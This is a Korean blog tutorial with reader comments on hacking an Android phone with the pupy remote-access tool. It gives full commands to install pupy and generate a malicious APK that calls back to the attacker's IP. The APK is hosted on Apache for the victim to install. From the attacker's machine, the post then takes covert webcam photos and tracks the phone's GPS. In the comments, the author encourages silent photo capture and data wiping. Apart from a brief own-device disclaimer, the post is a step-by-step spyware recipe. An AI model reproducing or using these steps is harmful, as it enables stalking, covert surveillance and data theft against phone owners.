728x90
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


pupy로 안드로이드 해킹하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- kali linux


 


1. pupy를 다운로드 받고 설치합니다.

https://github.com/n1nj4sec/pupy



다음 명령어를 순서대로 입력했습니다.


git clone https://github.com/n1nj4sec/pupy.git pupy


cd pupy


git submodule init


git submodule update


pip install -r pupy/requirements.txt


wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz


tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates 







정상적으로 설치됨을 확인합니다.




2. pupysh를 실행해봅니다.


python pupysh.py





패스워드를 입력하는 부분에서는 칼리리눅스 계정 패스워드를 입력하면 됩니다.


정상적으로 서버가 동작함을 확인하고 exit명령어로 서버를 종료했습니다.

 


3. 이제 악성코드를 만들어봅시다.

 

악성코드는 pupygen.py로 만들 수 있습니다.


python pupygen.py -O android -o mandu.apk connect --host 192.168.0.7 --transport ssl


(저는 mandu.apk라는 이름으로 생성하였습니다.)


옵션 설명

-O 해킹할 운영체제

-o 출력할 파일명


connect

--host 칼리리눅스(공격자의 컴퓨터)의 아이피 (ifconfig 명령어로 자신의 아이피를 확인할 수 있습니다.)

--transport ssl (pupy.conf.default에 작성된 내용 그대로 입력하면 됩니다. ssl으로 기본설정 되어있습니다.)




4. 만들어진 악성코드 파일을 안드로이드 기기가 다운받을 수 있도록 아파치 서버에 업로드 하였습니다.



파일에 권한을 부여하고, 아파치 서버를 가동하였습니다.


mv mandu.apk /var/www/html/ #파일 이동


chmod 777 /var/www/html/mandu.apk #권한 부여


service apache2 start #아파치 서버 시작

 



5. 안드로이드 기기에서 해당 파일을 다운로드 받습니다.


http://192.168.0.7/mandu.apk

 

그리고 설치합니다.




6. 칼리리눅스 (공격자의 컴퓨터)에서 서버를 실행합니다.


python pupysh.py

 

서버가 대기상태가 됩니다.



7. 안드로이드 기기에서 해당 어플을 실행합니다.

안드로이드 기기에서는 와이파이 설정 화면으로 이동하게 됩니다.

10초후 공격자 컴퓨터의 pupysh.py에서는 하나의 세션이 잡히게 됩니다.




8. list_modules 라는 명령어를 통해 pupy에서 사용할 수 있는 모듈을 목록을 확인할 수 있습니다.

 

run gather/webcamsnap 명령어를 통해 카메라로 사진을 찍어 볼 수 있습니다

 

run gather/gpstracker --start 명령어를 통해 해당 기기의 gps값을 트래킹하고,(15초 마다 gps값을 가져옵니다.)

run gather/gpstracker --dump 명령어를 통해 가져온 gps값을 확인할 수 있습니다. (파일이 저장됩니다.)

얻은 gps값을 구글지도에 검색하면 실제 기기의 위치정보를 확인할 수 있습니다. 매우 정확합니다.

 

이 외에도 pupy는 다양하고 많은 모듈을 지원하므로 다른 정보들도 가져오는 것이 가능함을 알 수 있습니다.

728x90
반응형
  1. toor 2018.06.12 19:18

    안녕하세요..중간에 있는 IP값은 ifconfig 에서 나온 ip를 넣는 것인가요..?

  2. 궁금 2018.06.19 14:52

    테스트중이긴한데.. 안드로이드 갤럭시 S5 에서도 되나여?
    이게 최신기종이 안된다고 해서 ...남는폰으로 하는거라....
    그리고 노트북이랑 핸드폰을 Wi-fi 동일하게 잡고, apk 악성코드를 생성 후, 파일을 넣어서 설치하니까 hello from pupy 뜨긴하는데
    (리눅스 pupy shell) 핸들러부분에서 안되네여.. 이게 기종이 문제인지..아니면 제가 뭔가를 잘못한거지 ㅠㅠ

    • M4ndU 2018.06.19 16:32 신고

      기종마다 될 수도 안될 수도 있습니다..

  3. root 2018.11.11 22:39

    안녕하세요 며칠동안 고민하다가 댓글 남겨요ㅠㅠ pupysh를 실행하면 importerror no module named elftools.elf.elffile 이런 오류가 뜨는데 뭐가 문제일까요?ㅠㅠ

    • M4ndU 2018.11.12 18:48 신고

      모듈이 제대로 설치가 안된 것 같습니다.
      sudo -H pip install -r requirements.txt
      이거 해보세요.

  4. 애상 2018.11.18 17:41

    안녕하세요 남는 안드로이드 폰으로
    CCTV겸 사용하려 합니다
    피시렛 처럼 카메라 실행하지 않아도
    실시간 영상볼수 있는 프로그램이 잇을런지요?
    피시렛 파일은 너무 구하기가 힘드네요..

  5. 드림캐처 2019.01.06 19:04

    안녕하세요 pupy 설치후 파일이동 . 권한부여, 아파치서비스까지 올리고
    해당공격자 아이피 URL접속하여 다운이 되야되는데
    접속자체가 안되며 네트워크 연결이 안된다고 뜨네요?
    방법이 있을까요 테스트 기종은 LG V20입니다

    • M4ndU 2019.01.06 23:38 신고

      그 부분은 본인이 사용하고 계시는 네트워크 환경에 따라서 다르게 하셔야 합니다.

      내부 네트워크 환경이라면, 공격자 내부 아이피로 접속하시면 됩니다.

      위 글에서 192.168.0.7은 제 네트워크 환경에서의 내부 아이피이기 때문에, 그대로 사용하시면 안됩니다.

  6. 최종변기 2019.02.24 15:17

    pip 인스톨로 모듈을 설치해도 이런 오류가 뜨네요 ㅠㅠㅠ


    [-] Invalid module: search at (/root/pupy/pupy/modules/search.py): No module named dateparser. Traceback:
    File "/root/pupy/pupy/pupylib/PupyServer.py", line 810, in _refresh_modules
    module_object = imp.load_source(modname, modpath)
    File "/root/pupy/pupy/modules/search.py", line 10, in <module>
    import dateparser
    [-] Invalid module: igd at (/root/pupy/pupy/modules/igd.py): No module named defusedxml. Traceback:
    File "/root/pupy/pupy/pupylib/PupyServer.py", line 810, in _refresh_modules
    module_object = imp.load_source(modname, modpath)
    File "/root/pupy/pupy/modules/igd.py", line 7, in <module>
    from defusedxml import minidom
    [-] Invalid module: search at (/root/pupy/pupy/modules/search.py): No module named dateparser. Traceback:
    File "/root/pupy/pupy/pupylib/PupyServer.py", line 810, in _refresh_modules
    module_object = imp.load_source(modname, modpath)
    File "/root/pupy/pupy/modules/search.py", line 10, in <module>
    import dateparser
    [-] Invalid module: igd at (/root/pupy/pupy/modules/igd.py): No module named defusedxml. Traceback:
    File "/root/pupy/pupy/pupylib/PupyServer.py", line 810, in _refresh_modules
    module_object = imp.load_source(modname, modpath)
    File "/root/pupy/pupy/modules/igd.py", line 7, in <module>
    from defusedxml import minidom

    pip install을 하게되면 아래와 같은 오류가 뜨네요....



    Can't rollback M2Crypto, nothing uninstalled.
    Command "/usr/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-ZEfyQO/M2Crypto/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-1grVxc-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-ZEfyQO/M2Crypto/



    정말 일주일동안해봐도 github에있는 방법으로는 해결할수가없네요 혹시 아시다면 리플라이 부탁드려요 ㅠㅠ

    • M4ndU 2019.02.24 21:39 신고

      저도 잘 모르겠네요..ㅠㅠ
      한 번 다른 가상머신이나 운영체제에서 시도해 보세요.

  7. woon 2019.07.28 16:38

    바이러스가 있다고 다운로드가 안되는데요.

  8. 익명 2019.08.26 23:21

    비밀댓글입니다

    • 익명 2019.08.26 23:44

      비밀댓글입니다

    • 익명 2019.08.27 05:12

      비밀댓글입니다

    • 익명 2019.08.27 23:52

      비밀댓글입니다

    • 익명 2019.08.29 01:06

      비밀댓글입니다

    • 익명 2019.08.29 10:12

      비밀댓글입니다

  9. 익명 2019.08.29 17:59

    비밀댓글입니다

    • M4ndU 2019.08.29 20:33 신고

      해당 앱이 어떤 기능을 하느냐에 따라 필요 권한은 달라집니다. 완전히 자기 것처럼 이용하려면 모든 종류의 권한을 받아야 할 것 같습니다.

  10. 익명 2019.08.29 20:38

    비밀댓글입니다

  11. 익명 2019.08.29 21:32

    비밀댓글입니다

    • M4ndU 2019.08.29 21:40 신고

      제가 직접 해보거나, 관련 자료를 찾아본 적이 없어서,, 부정확할 수 있습니다만,
      일단 데이터를 날려버리는 것 정도는 가능해보입니다.



      확실한건 악성앱을 어떻게 만들어내냐에 따라 불가능한 것은 없습니다.

  12. 익명 2019.08.29 21:44

    비밀댓글입니다

  13. 문의 2019.09.11 05:01

    혹시 악성앱이 카메라권한으로 사진을 찍을경우 찰칵 소리가 난다거나 그 사진이 제 사진첩에 저장이 되나요?? 소리나 저장없이 해커한테만 전송될수 잇나요?ㅔ

  14. help 2019.12.14 18:08

    pip가 없는 명령어라네요

  15. 익명 2020.03.19 22:51

    비밀댓글입니다

    • M4ndU 2020.03.20 01:00 신고

      git clone 명령어 이후에 pupy 폴더가 생성되지 않았나요?

  16. ㅇㅇ 2020.04.22 10:10

    포트포워딩 필요해요??

    • M4ndU 2020.04.22 12:54 신고

      본인 네트워크 환경에 따라 포트포워딩이 필요할 수 있습니다.

  17. ㅇㅇ 2022.07.20 11:20

    wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz 이 명령어가 안먹습니다

+ Recent posts